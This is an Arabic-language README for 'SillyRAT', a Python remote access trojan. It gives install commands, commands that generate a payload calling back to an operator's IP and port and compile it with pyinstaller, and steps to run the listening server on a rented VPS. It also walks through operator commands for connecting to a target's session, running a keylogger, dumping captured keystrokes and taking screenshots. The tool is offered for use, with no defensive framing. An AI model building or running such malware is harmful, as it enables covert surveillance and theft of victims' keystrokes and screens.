

منصة متقاطعة فأر مكتوبة في بيثون النقي. يقبل الفئران الأوامر جنبًا إلى جنب مع وسيط إما لأداء الخادم الذي يقبل الاتصالات أو لأداء العميل/الهدف الذين يقومون بإنشاء اتصالات للخادم. يستخدم الأمر إنشاء الوحدة النمطية pyinstaller لتجميع رمز الحمولة النافعة الفعلية. لذلك ، من أجل إنشاء ملف حمولة النافعة لمنصة المعنية الخاصة بك ، يجب أن تكون على هذا النظام الأساسي أثناء إنشاء الملف. علاوة على ذلك ، يمكنك الحصول مباشرة على الملف المصدر أيضًا.
يتم اختبار الأداة على Parrot OS مع Python 3.8 . اتبع خطوات التثبيت:
$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
يمكنك الحصول على ملف الحمولة النافعة بطريقتين:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
يجب أن يتم إنشاء النسخة المترجمة على النظام الأساسي المعني. على سبيل المثال ، لا يمكنك إنشاء ملف .exe على Linux. يجب أن تكون على وجه التحديد على Windows. الأداة لا تزال قيد الاختبار. لذلك ، يتم قبول جميع أنواع الأخطاء. تأكد من فتح مشكلة رغم ذلك. إنشاء النسخة المترجمة لـ Linux:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer

استبدل عنوان IP الخاص بك والمنفذ على الأوامر أعلاه.
يجب تنفيذ الخادم على Linux. يمكنك شراء خادم VPS أو Cloud للاتصالات. بالنسبة للسجل ، لا يقوم الخادم بتخزين أي جلسة من آخر تشغيل. لذلك ، سوف يضيع كل التقدم بمجرد إنهاء تطبيق الخادم. تشغيل الخادم الخاص بك:
$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
سيتم سرد جميع الاتصالات بموجب أمر الجلسات :
$ sessions

يمكنك الاتصال بجلسة المستهدفة الخاصة بك بأمر Connect وإطلاق أحد الأوامر المتاحة:
$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

احصل على قائمة بالأوامر المتاحة:
$ help
المساعدة في أمر معين:
$ help COMMAND
Twitter: @hash3lizer
Discord: Theflash2k#0407